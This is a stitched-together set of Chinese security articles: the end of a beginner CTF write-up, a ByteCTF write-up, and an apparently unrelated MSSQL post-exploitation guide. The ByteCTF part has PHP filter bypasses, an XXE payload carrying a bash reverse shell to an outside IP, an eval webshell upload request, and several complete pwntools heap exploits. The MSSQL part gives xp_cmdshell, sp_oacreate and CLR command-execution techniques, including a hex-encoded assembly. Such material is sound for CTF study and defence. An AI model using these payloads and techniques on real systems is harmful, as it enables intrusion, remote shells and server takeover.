佛曰：豆梵能佛冥謹沙怯隸道等孕喝伽訶恐奢耶尼殿怯怖奢三缽南怛缽娑皤寫數皤究呐者醯皤勝孕皤顛皤耶夜哆悉侄羯涅悉怯老若俱勝菩知菩所蘇奢以梵世心亦呐耨夷哆至哆醯即波怯明除怯闍怯集怯尼明皤實怯一心缽呼侄羯夢室諳耨呐提迦梵都都呐孕礙諳那呐彌豆缽智遮諳槃提伽俱穆離冥伊冥那藐罰摩迦諳有諳盡即怯多逝侄婆冥涅神
可以猜测是佛文解密，利用在线网站
<http://www.keyfc.net/bbs/tools/tudoucode.aspx>
将解码的密文放在下面框里，点击"参悟佛所言的真意"
得到flag:SYC{i_l0ve_Japanese_wife}
## 3.Crypto
### **2.铠甲与萨满**
根据提示，猜测是凯撒密码，利用在线解密网站
<http://www.atoolbox.net/Tool.php?Id=778>
对密文进行解密，解密两次，得到flag:SYC{liuzhuangliuzhuang_bangbangbang}
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# Web
## boring_code
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
?>
### 第二层
data:// 被干掉了，只能换思路，尝试绕了一圈没啥进展，那就先绕第二层吧。
再看下题目，明确好目标，flag 在上一级目录的 index.php 里，即 ../index.php，能读文件就行了。
fuzz 一下，得到了不少函数，但能用的很少。还有一个 readfile 能用，简单思路如下：
readfile('../index.php')
=> readfile(/var/www/html/index.php);
=> chdir('..') => readfile(end(scandir('.')));
**第一个问题** ，'.' 从何来？一般直接用 `ord()` 构造，没错，这里也用这个。
那就可以随便玩了，再结合一下 `time()`。
**第二个问题** ，'..' 怎么来？
**第三个问题** ，`chdir('..')` 没地方放，它的返回值是布尔型，那就丢 `time()` 吧，虽然是 `time(void)`，但也没影响
：）。
**整理一下：**
readfile(end(scandir(chr(time(chdir(next(scandir(chr(time())))))))));
有人可能会觉得打中的概率太小了，那就一秒发一次，最多 256 次啊 ：）
### 第一层
正在一筹莫展的时候，叫队里师傅看了下，他随手丢了个链接出来。 **云屿师傅太强了!**
## rss
第一部分和 boring_code 一样，构造一个 baidu.com 的跳转，让其的返回是个 RSS。
<https://www.baidu.com/link?url=YuO-oavRIu9aTgoWy7-XSHsMTg2MOcNOtBULc64oZ3OEPnAp-IJ8Y2ui2vzhSPiL>
（不是我真的很想吐槽为啥跳到我的站能302，另外比较正常的做法不应该是注册一个aaaabaidu.com的域名吗喂）
尝试XXE读文件，确认可读，读到源码后确认是个裸得不能再裸的XXE转SSRF，直接打。
最终构造文件：
RSS:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://www.zsxsoft.com/rss222.php&order=id,1)%2Bsystem('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F129.204.79.120%2F23458%200%3E%261%22')%2Bstrcmp(''" >
]>
rss222.php
<data>
<channel>
<item>
<id>1</id>
<link>/hoge</link>
</item>
<item>
<id>2</id>
<link>/foo</link>
</item>
</channel>
</data>
## EzCMS
常见的反序列化点：
寻找有 open 方法的内置类，得到这两个：
SessionHandler
ZipArchive
session 没啥用，目光聚焦到 ZipArchive，看下文档发现有戏。
生成 phar
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct() {
$this->checker = new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct() {
$this->admin = new ZipArchive;
$this->username = '/var/www/html/sandbox/9931f06e1af1fd77c1e95e84443dd6f6/.htaccess';
$this->password = ZIPARCHIVE::OVERWRITE;
}
}
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$o = new File();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
把 phar 传上去后，再按老套路弄下就 OK 了。
## babyblog
edit.php
if($_SESSION['id'] == $row['userid']){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
}
$row['title'] 没有任何过滤，可以注入，拿到 vip 账号：wulax / 1。
发现题目本身是 PHP 5.3，又看到正则，估计考察点是 preg_replac e的 e 参数以及 %00 截断；发现disable_function
但已经被别人打fpm了，就跟别人后面直接 antsystem，就不自己打 fpm 了。
POST /replace.php HTTP/1.1
Host: 112.126.101.16:9999
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.5,ja;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------1922216787
Content-Length: 424
DNT: 1
Connection: close
Referer: http://112.126.101.16:9999/replace.php?id=685
Cookie: PHPSESSID=4jihl1fqnuugt8eqmoinpo1t47
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
----------1922216787
Content-Disposition: form-data; name="find"
bb%00/e
----------1922216787
Content-Disposition: form-data; name="replace"
eval($_POST['cc']);
----------1922216787
Content-Disposition: form-data; name="regex"
1
----------1922216787
Content-Disposition: form-data; name="id"
971
----------1922216787
Content-Disposition: form-data; name="cc"
var_dump(antsystem('/readflag'));
exit;
----------1922216787--
# Pwn
## ezarch
vm 结构
struct __attribute__((packed)) __attribute__((aligned(2))) Arch
{
char *text;
char *stack;
int stack_size;
int mem_size;
unsigned int break[256];
unsigned int regs[16];
unsigned int _eip;
unsigned int _esp;
unsigned int _ebp;
unsigned __int16 eflags;
};
每条指令长度为10
0 1 2 3 4 5 6
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OpCode | Type | Operand 1 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Operand 2 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
or
0 1 2 3 4
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OpCode | Type | Operand 1 ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
... | Operand 2 ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
... |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
OpCode:
1 -> add
2 -> sub
3 -> mov
4 -> xor
5 -> or
6 -> and
7 -> shift left
8 -> shift right
9 -> push
10 -> pop
11 -> call
12 -> ret
`漏洞点`:堆溢出，输入init_size比memory_size大就行
v8->memory = (__int64)v7;
v9 = 0LL;
puts("[*]Memory inited");
printf("[*]Inited size>", argv);
__isoc99_scanf((__int64)"%llu", (__int64)&init_sz);
printf("[*]Input Memory Now (0x%llx)\n", init_sz);
while ( v9 < init_sz )
{
v11 = (void *)(virtual_machine->memory + v9);
if ( init_sz - v9 > 0xFFF )
{
v10 = read(0, v11, 0x1000uLL);
if ( v10 <= 0 )
goto LABEL_26;
}
else
{
v10 = read(0, v11, init_sz - v9);
if ( v10 <= 0 )
LABEL_26:
exit(1);
}
v9 += v10;
}
和对stack的ebp检查有误
_eeip = vmachine->_eip;
v2 = vmachine->size;
if ( _eeip >= v2 || (unsigned int)vmachine->_esp >= vmachine->stack_size || v2 <= vmachine->_ebp )
return 1LL;
from pwn import *
def exp(host, port=9999):
if host:
p = remote(host, port)
else:
p = process('./ezarch', env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p, '''
c
''')
sa = p.sendafter
ru = p.recvuntil
rl = p.recvline
sla = p.sendlineafter
def Mem(size, code, eip=0, esp=0, ebp=0):
sla('>', 'M')
sla('>', str(size))
sla('>', str(len(code)))
sa(')', code)
sla('eip>', str(eip))
sla('esp>', str(esp))
sla('ebp>', str(ebp))
# mov reg[0], stack[ebp]
opcode = '\x03\x20' + p32(0) + p32(17)
# sub reg[0], 0x20
opcode+= '\x02\x10' + p32(0) + p32(0x20)
# mov stack[ebp], reg[0]
opcode+= '\x03\x02' + p32(17) + p32(0)
# now stack pointer to stderr, let's get it
opcode+= '\x0a\x00' + p32(1) + p32(0)
opcode+= '\x0a\x00' + p32(2) + p32(0)
Mem(0x1010, opcode, 0, 0, 0x1008)
sla('>', 'R')
ru('R1 --> 0x')
low = rl(keepends=False)
ru('R2 --> 0x')
high = rl(keepends=False)
libc.address = int(high+low, 16) - libc.sym['_IO_2_1_stderr_']
info("libc @ "+hex(libc.address))
Mem(0x60, 'B')
Mem(0x1010, '\x00'*0x1010 + p64(0) + p64(0x71) + p64(libc.sym['__free_hook']-8))
Mem(0x60, 'B')
Mem(0x60, '/bin/sh\x00' + p64(libc.sym['system']))
sla('>', 'M')
sla('>', '1')
p.interactive()
if __name__ == '__main__':
elf = ELF('./ezarch', checksec=False)
libc = ELF('./libc.so', checksec=False)
exp(args['REMOTE'])
# bytectf{0ccf4027c269fcbd1d0a74ddd62ba90a}
## mulnote
free的时候sleep了10秒,造成UAF
from pwn import *
def cmd(command):
p.recvuntil(">")
p.sendline(command)
def add(sz,content):
cmd('C')
p.recvuntil("size>")
p.sendline(str(sz))
p.recvuntil("note>")
p.send(content)
def show():
cmd('S')
def dele(idx):
cmd('R')
p.recvuntil("index>")
p.sendline(str(idx))
def edit(idx,content):
cmd('E')
p.recvuntil("index>")
p.sendline(str(idx))
p.recvuntil("note>")
p.send(content)
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./mulnote")
gdb.attach(p)
add(0x68,"A")
add(0x68,"A")
add(0x100,"A")
add(0x10,"A") #3
dele(0)
dele(1)
dele(2)
add(0x68,"A") #0
show()
p.recvuntil("1]:\n")
heap = u64(p.recv(6).ljust(8,'\x00'))-0x41
info("heap : " + hex(heap))
p.recvuntil("2]:\n")
libc.address = u64(p.recv(6).ljust(8,'\x00'))-0x3c4b78
info("libc : " + hex(libc.address))
add(0x68,"A")
dele(4)
dele(0)
edit(0,p64(libc.symbols["__malloc_hook"]-0x23)[:6])
add(0x68,"A")
one_gadget = libc.address+0x4526a
info("one_gadget : " + hex(one_gadget))
add(0x68,"\x00"*0x13+p64(one_gadget))
p.interactive()
if __name__ == "__main__":
libc = ELF("./libc.so",checksec=False)
# elf = ELF("./mheap",checksec=False)
main(args['REMOTE'])
## vip
`vip`函数中存在溢出，可以覆写`sock_filter`，将`open("/dev/random",
0)`的返回值改为`ERRNO(0)`即可进行后续利用
from pwn import *
def exploit(host, port=9999):
if host:
p = remote(host, port)
else:
p = process("./vip", env={"LD_PRELOAD":"./libc-2.27.so"})
gdb.attach(p, '''
# b *0x00000000004014EB
c
''')
sa = p.sendafter
sla = p.sendlineafter
def alloc(idx):
sla('choice: ', '1')
sla('Index: ', str(idx))
def show(idx):
sla('choice: ', '2')
sla('Index: ', str(idx))
def dele(idx):
sla('choice: ', '3')
sla('Index: ', str(idx))
def edit(idx, size, cont):
sla('choice: ', '4')
sla('Index: ', str(idx))
sla('Size: ', str(size))
sa('Content: ', cont)
def vip(name):
sla('choice: ', '6')
sa('name: ', name)
vip('tr3e'*8 + "\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x03\x01\x01\x00\x00\x20\x00\x00\x00\x18\x00\x00\x00\x15\x00\x00\x01\x7e\x20\x40\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f")
for x in range(4):
alloc(x)
dele(1)
edit(0, 0x68, 'A'*0x50 + p64(0) + p64(0x61) + p64(0x404100))
alloc(1)
alloc(0xF)
edit(0xF, 8, p64(elf.got['free']))
show(0)
libc.address = u64(p.recvline(keepends=False).ljust(8, '\x00')) - libc.sym['free']
info('libc @ '+hex(libc.address))
edit(0xF, 0x10, p64(libc.sym['__free_hook']) + p64(libc.search('/bin/sh').next()))
edit(0, 8, p64(libc.sym['system']))
dele(1)
p.interactive()
if __name__ == '__main__':
elf = ELF('./vip')
libc = ELF('./libc-2.27.so')
exploit(args['REMOTE'])
# bytectf{2ab64f4ee279e5baf7ab7059b15e6d12}
## mheap
程序定义了自己的分配规则，程序的chunk：
struct chunk{
size_t size;
void* next; //only used after free
char buf[size];
}
漏洞点在
_int64 __fastcall read_n(char *buf, signed int len)
{
__int64 result; // rax
signed int v3; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]
v3 = 0;
do
{
result = (unsigned int)v3;
if ( v3 >= len )
break;
v4 = read(0, &buf[v3], len - v3);
if ( !v4 )
exit(0);
v3 += v4;
result = (unsigned __int8)buf[v3 - 1];
}
while ( (_BYTE)result != 10 );
return result;
}
当buf+len的地址比mmap的尾部还要大时，read返回-1，然后就可以向上读，伪造一个next指针即可
from pwn import *
def cmd(command):
p.recvuntil("Your choice: ")
p.sendline(str(command))
def add(idx,sz,content=''):
cmd(1)
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Input size: ")
p.sendline(str(sz))
if content:
p.recvuntil("Content: ")
p.send(content)
def show(idx):
cmd(2)
p.recvuntil("Index: ")
p.sendline(str(idx))
def dele(idx):
cmd(3)
p.recvuntil("Index: ")
p.sendline(str(idx))
def edit(idx,content):
cmd(4)
p.recvuntil("Index: ")
p.sendline(str(idx))
p.send(content)
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./mheap")
gdb.attach(p,"b *0x000000000040159B")
add(0,0xfb0,"A"*0x10+'\n')
add(0,0x10,"A"*0x10)
dele(0)
add(1,0x60,p64(0x00000000004040d0)+'A'*0x2f+'\n')
add(0,0x23330fc0-0x10,"A"*0x8+p64(elf.got["atoi"])*2+'\n')
show(1)
libc.address = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols["atoi"]
info("libc : " + hex(libc.address))
edit(1,p64(libc.symbols["system"])+'\n')
p.recvuntil("Your choice: ")
p.sendline("/bin/sh\x00")
p.interactive()
if __name__ == "__main__":
libc = ELF("./libc-2.27.so",checksec=False)
elf = ELF("./mheap",checksec=False)
main(args['REMOTE'])
## notefive
程序的 edit 功能存在 off_by_one，先overlap，然后一系列利用攻击到 stdout
泄露出libc，我选择的地方是_IO_stdout_2 _1-0x51(1/16的概率) 的位置，那里有个
0xff。然后伪造stderr的vtable，最后触发_ IO_flush_all_lockp
来 getshell。
from pwn import *
def cmd(command):
p.recvuntil("choice>> ")
p.sendline(str(command))
def add(idx,sz):
cmd(1)
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(sz))
def dele(idx):
cmd(3)
p.recvuntil("idx: ")
p.sendline(str(idx))
def edit(idx,content):
cmd(2)
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("content: ")
p.send(content)
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./note_five")
gdb.attach(p)
add(0,0x98)
add(1,0xa8)
add(2,0x1e8)
add(3,0xe8)
dele(1)
dele(0)
dele(2)
dele(3)
#overlap
add(0,0xe8)
add(1,0xf8)
add(2,0xf8)
add(3,0x1f8)
add(4,0xe8)
dele(0)
edit(1,"A"*0xf0+p64(0x1f0)+'\x00')
dele(2)
add(0,0xe8)
# t = int(raw_input('guest: '))
t = 8
global_maxfast = (t << 12) | 0x7f8
stdout = global_maxfast-0x11d8
#unsortedbin attack
edit(1,"\x00"*8+p16(global_maxfast-0x10)+'\n')
add(2,0x1f8)
edit(2,"A"*0x1f8+'\xf1')
edit(0,"\x00"*0x98+p64(0xf1)+p16(stdout-0x51)+'\n')
dele(0)
dele(4)
dele(3)
add(3,0x2e8)
edit(3,"A"*0x1f8+p64(0xf1)+'\xa0\n')
dele(2)
add(0,0xe8)
add(2,0xe8)
add(4,0xe8)
#leak libc
edit(4,'A'+"\x00"*0x40+p64(0xfbad1800)+p64(0)*3+'\x00\n')
p.recv(0x40)
libc.address = u64(p.recv(8))-0x3c5600
info("libc : " + hex(libc.address))
one_gadget = 0xf1147+libc.address
payload = '\x00'+p64(libc.address+0x3c55e0)+p64(0)*3+p64(0x1)+p64(one_gadget)*2+p64(libc.address+0x3c5600-8)
edit(4,payload+'\n')
#trigger abort-->flush
add(1,1000)
p.interactive()
if __name__ == "__main__":
libc = ELF("./libc.so",checksec=False)
# elf = ELF("./mheap",checksec=False)
main(args['REMOTE'])
# Misc
## Hello Bytectf
签到题：bytectf{Hello Bytectf}
## jigsaw
拼图游戏
## betgame
from pwn import *
p = remote("112.125.25.81",9999)
def exp(a,y=1):
if y == 1:
if a == "s":
return "b"
if a == "j":
return "s"
if a == "b":
return "j"
elif y == -1:
if a == "s":
return "j"
if a == "b":
return "s"
if a == "j":
return "b"
else:
return a
for i in range(30):
p.recvuntil("I will use:")
tmp = p.recvuntil("\n")[-2:-1]
info(tmp)
if i%3 == 0:
p.sendline(exp(tmp,0))
elif i%3 == 1:
p.sendline(exp(tmp,-1))
else:
p.sendline(exp(tmp,1))
p.interactive() | 社区文章 |
## 0x00 简介
本文的攻击场景如下：
演示环境的利用场景：
本文将要介绍以下内容：
* xp_cmdshell利用
* COM组件利用
* CLR利用
* SQL Server 2016 R利用
* SQL Server 2017 Python利用
* 沙盒利用(openrowset)
* Agent Job利用
## 0x01 xp_cmdshell利用
前提条件：
* Mssql数据库服务未降权
* 已获取到数据库密码
xp_cmdshell是Sql Server中的一个组件，我们可以用它来执行系统命令。
### 判断xp_cmdshell状态
我们可以在master.dbo.sysobjects中查看xp_cmdshell状态
select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
xtype为对象类型，xtype='x'这里表示xp_cmdshell的对象类型为扩展存储过程。
只用判断存在，利用count(*)即可。
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
存在即返回1
### 启用xp_cmdshell
我们可以利用EXEC启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
### 利用xp_cmdshell执行命令
通过xp_cmdshell执行系统命令指令如下
exec master..xp_cmdshell 'whoami'
### 恢复被删除的xp_cmdshell
我们可以利用xplog70.dll恢复被删除的xp_cmdshell
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
## 0x02 COM组件利用
前提条件：
* Mssql数据库服务未降权
* 已获取到数据库密码
我们可以借助Sql Server中的COM组件SP_OACREATE来执行系统命令。
### 判断SP_OACREATE状态
我们可以在master.dbo.sysobjects中查看SP_OACREATE状态
select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
只用判断存在，利用count(*)即可。
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
存在即返回1
### 启用SP_OACREATE
利用EXEC启用SP_OACREATE
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
### 利用SP_OACREATE执行命令
通过SP_OACREATE执行系统命令指令如下
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
此利用方法无回显
## 0x03 CLR利用
### 什么是CLR
CLR微软官方把他称为公共语言运行时，从 SQL Server 2005 (9.x) 开始，SQL Server 集成了用于 Microsoft
Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言（包括
Microsoft Visual Basic .NET 和 Microsoft Visual
C#）来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。
更多概念详见下方官方链接：
<https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/common-language-runtime-clr-integration-programming-concepts?view=sql-server-ver15>
### 编写CLR
利用VS创建MSSQL数据库项目
修改目标平台和勾选创建脚本
修改目标框架和权限级别
创建SQL CLR C# 存储过程
写入代码
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void ExecCommand (string cmd)
{
// 在此处放置代码
SqlContext.Pipe.Send("Command is running, please wait.");
SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
}
public static string RunCommand(string filename,string arguments)
{
var process = new Process();
process.StartInfo.FileName = filename;
if (!string.IsNullOrEmpty(arguments))
{
process.StartInfo.Arguments = arguments;
}
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.RedirectStandardOutput = true;
var stdOutput = new StringBuilder();
process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
string stdError = null;
try
{
process.Start();
process.BeginOutputReadLine();
stdError = process.StandardError.ReadToEnd();
process.WaitForExit();
}
catch (Exception e)
{
SqlContext.Pipe.Send(e.Message);
}
if (process.ExitCode == 0)
{
SqlContext.Pipe.Send(stdOutput.ToString());
}
else
{
var message = new StringBuilder();
if (!string.IsNullOrEmpty(stdError))
{
message.AppendLine(stdError);
}
if (stdOutput.Length != 0)
{
message.AppendLine("Std output:");
message.AppendLine(stdOutput.ToString());
}
SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
}
return stdOutput.ToString();
}
}
### 启用MSSQL CLR功能
MSSQL CLR功能默认关闭，利用以下语句启用。
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
为了导入了不安全的程序集，我们还需要执行以下语句将数据库标记为安全。
ALTER DATABASE master SET TRUSTWORTHY ON;
### 利用SQL语句导入程序集
CREATE ASSEMBLY [Database1]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006E587C5E0000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402400006002102400006003100E401000000003700000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000002700000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F300044617461626173653100496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468004461746162617365312E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000593C457501949B4EAC85A8875A6084DC000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006E587C5E00000000020000001C010000E42A0000E40C000052534453CEC8B2762812304EAEE7EF5EE4D9EC7901000000463A5C746F6F6C735F736F757263655C4461746162617365315C4461746162617365315C6F626A5C44656275675C4461746162617365312E706462000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000